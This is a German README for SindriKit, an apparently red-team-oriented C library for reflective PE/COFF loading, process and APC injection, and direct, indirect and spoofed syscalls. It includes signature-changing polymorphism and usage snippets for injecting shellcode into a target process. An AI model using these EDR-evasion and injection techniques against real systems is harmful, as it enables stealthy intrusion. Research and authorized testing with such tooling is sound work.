youssefnoob003/sindrikitEine grundlegende C-Bibliothek zur Erstellung operativ glaubwürdiger offensiver Fähigkeiten
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/735/ac7a3259ddf602d9e7d0c2f683f22497afec347da32bb930d5369acf66ae34f5.png" width="100%">
</p>
<h1 align="center">SindriKit</h1>
<p align="center">
<strong>Offensive Development verdient eine bessere Architektur.</strong><br>
<em>Eine C-Bibliothek zum Aufbau offensiver Fähigkeiten.</em>
</p>
---
## Kernkonzept
Die meisten offensiven Utilities hardcodieren ihre Ausführungsmechaniken innerhalb der Logik der Technik. Ein reflektiver Loader mappt nicht einfach ein Image; er mappt es unter Verwendung einer bestimmten, hardcodierten Kette von `VirtualAlloc`- oder nativen NTAPI-Aufrufen. Wenn eine EDR beginnt, diese spezifische Kette zu überwachen, sind Sie gezwungen, das gesamte Tool neu zu schreiben.
SindriKit löst dies, indem es eine Trennung der Belange durch Interface-Abstraktionstabellen erzwingt:
1. **Die Technik-Logik:** (z. B. Loader, Injections, Patcher) befasst sich mit Zustandsverfolgung und Datenorchestrierung. Sie hat keine Kenntnis davon, wie Speicher allokiert oder wie Threads erstellt werden.
2. **Die Ausführungsmechaniken:** (z. B. Win32 API, Native NTAPI, Direct Syscalls) befinden sich in unabhängigen API-Tabellen und werden zur Laufzeit in die Technik injiziert.
Indem Ausführungsmechaniken auf Laufzeit-Funktionszeiger verlagert werden, können Sie Ihre gesamte Strategie von Win32-Aufrufen auf rohe Direct Syscalls mit einer einzigen Codezeile umstellen – ohne Ihre Payload-Ausführungslogik zu ändern.
---
## Design-Architektur
* **Entkoppelte Ausführungsprofile:** Tauschen Sie Speicher-, Modul-, Mapping-, Prozess-, Thread- und Dateimechaniken über unabhängige Funktionszeiger-Tabellen (`snd_memory_api_t`, `snd_module_api_t`, `snd_process_api_t`, `snd_thread_api_t`, `snd_mapping_api_t`, `snd_file_api_t`) aus, ohne die Technik-Logik zu berühren.
* **Technik-Abdeckung:** Reflektives **PE**- (EXE/DLL) und **COFF/BOF**-Laden, **klassische** und **Early-Bird-APC**-Injection über Shellcode/PE/COFF, plus architekturbewusste FFI und Heaven's Gate – alles über dieselben komponierbaren Profile.
* **Kaskadierende Syscall-Pipeline:** Austauschbare SSN-Resolver (`snd_syscall_resolve_ssn_scan`, `snd_syscall_resolve_ssn_sort`) mit einer Prioritätskette, entkoppelt von Invokern: **direct**, **indirect** (NTDLL-Gadget) oder **spoofed** (dynamisches Fat-Frame-Call-Stack-Spoofing).
* **Facility-kodierter Status:** Jeder fehleranfällige Aufruf gibt `snd_status_t` zurück – ein gepackter Facility/Local-Code plus der erfasste OS-Fehler, mit Kontextstrings, die in der Silent-Tier herauskompilieren.
* **Compile-Time-Obfuskation:** String- und API-Hashing-Algorithmen (DJB2, FNV1A) können global über CMake ausgetauscht werden. Das Kompilieren randomisiert automatisch den globalen Seed, um statische Signaturen zu verändern.
* **Mutations-Engine:** Ermöglicht tiefe Polymorphie über `SND_MORPH`. Generiert bei jedem Build einzigartige binäre Signaturen, indem volatile opake Prädikate in C-Code, funktional äquivalente Math/NOPs in Assembly-Stubs injiziert und das Speicherlayout der Kernstrukturen verwürfelt wird.
* **Release-Builds:** Eine Silent-Tier entfernt alle diagnostischen Strings, Dateideskriptoren und Tracking-Frames; `SND_CRTLESS`-Builds gehen weiter mit `/NODEFAULTLIB`, keinem SDK-Header, einem PEB-Frontend und ausschließlich nativen Backends.
---
## Schnellstart
Das Repository liefert eine einzige `unified`-CLI, die jedes Profil ausübt:
```sh
build.bat pocs
build64\pocs\Release\unified.exe load pe -f payload.dll -e Run --sys
```
`unified` unterstützt `load pe|coff`, `inject classic|apc|hijack` (shell, PE, COFF) und `hg`, jeweils über `--win`/`--nt`/`--sys`. Siehe [Examples & PoCs](https://github.com/youssefnoob003/sindrikit/blob/main/docs/examples/README.md) und [Getting Started](https://github.com/youssefnoob003/sindrikit/blob/main/docs/getting_started/README.md).
---
## SindriKit integrieren
```cmake
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
```
```sh
cmake -B build && cmake --build build --config Release
```
Nur zwei Zeilen, damit Ihr Tool alle Fähigkeiten von SindriKit erbt: PE- und COFF-Parsing, reflektives Laden, kaskadierende Syscalls und Injection-Profile.
---
## Die Engine
### API-Abstraktionsschicht
```
┌────────────────────────────────────────────────────────────────────────────┐
│ JEDE OFFENSIVE ABSICHT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API-ABSTRAKTIONSSCHICHT │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ snd_mapping_api_t -> open · view · close (KnownDlls bootstrap) │
│ snd_thread_api_t -> queue_apc · resume · suspend │
│ snd_file_api_t -> load │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32-Profil │ Natives Profil │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-definierte Funktionen │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
```
In der Praxis bedeutet dies, dass jede Domäne demselben Vertrag folgt:
```c
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
```
### Kaskadierende Syscall-Pipeline
SindriKit behandelt Syscall-Auflösung als eine injizierbare Mechanik, die Strategien in Prioritätsreihenfolge stapelt. Die Engine fällt durch, bis eine erfolgreich ist:
```c
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
```
Der Invoker ist von der SSN-Auflösung entkoppelt – wechseln Sie zwischen direkten, indirekten und gespooften Syscalls, ohne Domänencode zu ändern. Indirekte Invocation springt zu einem legitimen NTDLL-Gadget, sodass die Rückkehradresse innerhalb von `ntdll.dll` bleibt; gespoofte Invocation platziert zusätzlich eine echte Aufrufer-Rückkehradresse innerhalb eines dynamisch entdeckten "Fat Frame", sodass Call-Stack-Unwinds kohärent bleiben.
### Compile-Time-Algorithmus-Agilität
Jeder API-Name und Modulstring wird zur Kompilierzeit über eine einzige CMake-Variable aus der finalen Binärdatei entfernt:
```cmake
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
```
Jeder Hash wird mit einem zufällig generierten Seed berechnet (wenn `SND_RANDOMIZE_SEED=ON`). Der statische Footprint verschiebt sich vollständig zwischen Kompilierungen, ohne eine Zeile C zu berühren.
### Architekturbewusste dynamische FFI
Eine benutzerdefinierte MASM-Assembly-Brücke für beliebige Laufzeit-Funktionsaufrufe. x64-Builds folgen präzise der Microsoft-x64-Aufrufkonvention (Shadow Space, Register-Argumentplatzierung, Stack-Ausrichtung). x86-Builds pushen Argumente in umgekehrter Reihenfolge mit Unterstützung für sowohl `cdecl`- als auch `stdcall`-Ziele.
### Bounds-geprüfter PE-Parser
Ein vereinheitlichter PE32/PE32+-Parser mit einem `is_mapped`-Flag, das sowohl rohe On-Disk-Images als auch speichergemappte Views korrekt handhabt. Jeder Datenverzeichniszugriff wird gegen verfolgte Puffergrenzen validiert, bevor dereferenziert wird. Export-Auflösung unterstützt Forwarder-Ketten bis zu einer Tiefe von 4 mit hash-basiertem Lookup.
Getestet gegen:
- 40+ Kern-Testkombinationen, die auf Edge-Case-EXEs, DLLs, fehlerhafte Argumente, fehlende Exporte und TLS-Callbacks über x86 und x64 abzielen.
- 100+ dynamische PE-Mutationen, die vom `pe_mutator`-Modul generiert werden: genullte Section-Namen, Integer-Overflows, ungültige `e_lfanew`-Grenzen, verstümmelte Importe.
- Vollständiger Corkami-Korpus: lädt gültige Samples sauber, lehnt fehlerhafte sauber ab, ohne bei 99 % der Samples abzustürzen.
### COFF / BOF Loader
Eine zweite Loader-Technik handhabt ungelinkte COFF-Objektdateien (Beacon Object Files): begrenztes Parsing von Headern, Sections, Symbolen und Relocations; `MODULE$Function`-Externsymbol-Auflösung durch das injizierte `mod_api`; x64-`JMP [RIP+0]`-Trampoline für Out-of-Range-Aufrufe; und Ausführung eines benannten Einstiegspunkts (Standard `go`) – lokal oder in einen Remote-Prozess gemarshalt.
### Zustandsverfolgte Domänenkontexte
Jede offensive Operation wird über eine diskrete Kontextstruktur mit Stage-Enumeration verwaltet. Operationen können zwischen Stages für Sleep-Obfuskation oder gestaffeltes Deployment pausiert, sauber fortgesetzt und auf den exakten Fehlerpunkt bis hinunter zum Subsystem und Grund inspiziert werden.
---
## Die API-Design-Philosophie
Bootstrapen Sie die Syscall-Pipeline einmal (typisches Muster):
```c
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
```
Der Invoker ist von der SSN-Auflösung entkoppelt – wechseln Sie zwischen direkten, indirekten und gespooften Syscalls, ohne Domänencode zu ändern. Indirekte Invocation springt zu einem legitimen NTDLL-Gadget, sodass die Rückkehradresse innerhalb von `ntdll.dll` bleibt; gespoofte Invocation platziert zusätzlich eine echte Aufrufer-Rückkehradresse innerhalb eines dynamisch entdeckten "Fat Frame", sodass Call-Stack-Unwinds kohärent bleiben.
Tauschen Sie das Ausführungsprofil mit einer Zuweisung aus:
```c
ctx.mem_api = &snd_mem_win; // diagnostic
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
```
Modulauflösung folgt demselben Muster (`snd_mod_win` vs. `snd_mod_nt`). Es gibt kein syscall-gestütztes Modul-Backend – Importe verwenden PEB Walk + EAT selbst in vollständigen `_sys`-Profilen.
---
## Build-Tiers
### Debug-Tier — `SND_ENABLE_DEBUG=ON`
Für lokale Entwicklung. `snd_status_t` erweitert sich um `file`, `line` und einen 128-Byte-`context`-Stringpuffer. `SND_ERR_CTX` und `SND_DEBUG_PRINT` geben Zustandsmaschinenübergänge, geparste PE-Feldwerte und Syscall-Auflösungsergebnisse aus. Verwenden Sie `SND_USE_PRINTF=ON`, um die Ausgabe auf `stdout` statt auf die Debug-Konsole zu leiten.
### Silent-Tier — `SND_ENABLE_DEBUG=OFF`
Die Standard-Deployment-Konfiguration für operative Binärdateien. Jeder diagnostische String, Dateiverweis und jede Zeilennummer kompiliert vollständig heraus. `snd_status_t` kollabiert auf zwei Integer. Nichts weiter. Ein `SND_CRTLESS=ON`-Build legt `/NODEFAULTLIB`, keinen Windows-SDK-Header, ein PEB-Kommandozeilen-Frontend und ausschließlich native Backends darüber.
```cmake
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
```
---
## Dokumentation
Vollständige Referenz unter [`docs/`](https://github.com/youssefnoob003/sindrikit/blob/main/docs/README.md):
- **[API Reference](https://github.com/youssefnoob003/sindrikit/blob/main/docs/api_reference.md)** — die vollständige öffentliche C-API (Funktionen, Typen, DI-Tabellen, Statuscodes)
- **[Getting Started](https://github.com/youssefnoob003/sindrikit/blob/main/docs/getting_started/README.md)** — Build-Tiers, CMake-Integration, Syscall-Bootstrap, erster Loader-/Injection-Workflow
- **[Architecture](https://github.com/youssefnoob003/sindrikit/blob/main/docs/architecture/README.md)** — Dependency Injection, Zustandsmaschinen, Facility-kodiertes Statussystem
- **[Primitives](https://github.com/youssefnoob003/sindrikit/blob/main/docs/primitives/README.md)** — Speicher, Module, Prozess, Mapping, Dateien, Thread, Syscalls, Ausführung (FFI, Heaven's Gate)
- **[Loaders](https://github.com/youssefnoob003/sindrikit/blob/main/docs/loaders/README.md)** — reflektives PE- und COFF/BOF-Laden
- **[Injection](https://github.com/youssefnoob003/sindrikit/blob/main/docs/injection/README.md)** — klassische, Early-Bird-APC- und Thread-Hijack-Injection (Shellcode, PE, COFF)
- **[Parsers](https://github.com/youssefnoob003/sindrikit/blob/main/docs/parsers/README.md)** — PE-, COFF- und Env-(PEB/NTDLL-)Parsing
- **[Common](https://github.com/youssefnoob003/sindrikit/blob/main/docs/common/README.md)** — CRT-freie Helfer, Puffer, Hashing, Status
- **[Examples & PoCs](https://github.com/youssefnoob003/sindrikit/blob/main/docs/examples/README.md)** — die `unified`-CLI (`load pe|coff`, `inject classic|apc|hijack`, `hg`)
- **[Tests](https://github.com/youssefnoob003/sindrikit/blob/main/docs/tests/README.md)** — Integrations-Runner und der PE-Mutator
*Geplant: eine **Evasion**-Domäne.*
---
## Haftungsausschluss
**SindriKit ist ausschließlich für Bildungs-, Forschungs- und autorisierte Red-Teaming-Zwecke gedacht.** Den vollständigen rechtlichen Haftungsausschluss und Informationen zu OpSec-Überlegungen finden Sie in der [Security Policy](https://github.com/youssefnoob003/sindrikit/blob/main/SECURITY.md).
---
## Lizenz
[MIT](https://github.com/youssefnoob003/sindrikit/blob/main/LICENSE)
---
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/735/c6b18a5428e9f22275a36c38df781706c1ddd2639451b49276a6cc0634dcb175.png" width="100%">
</p>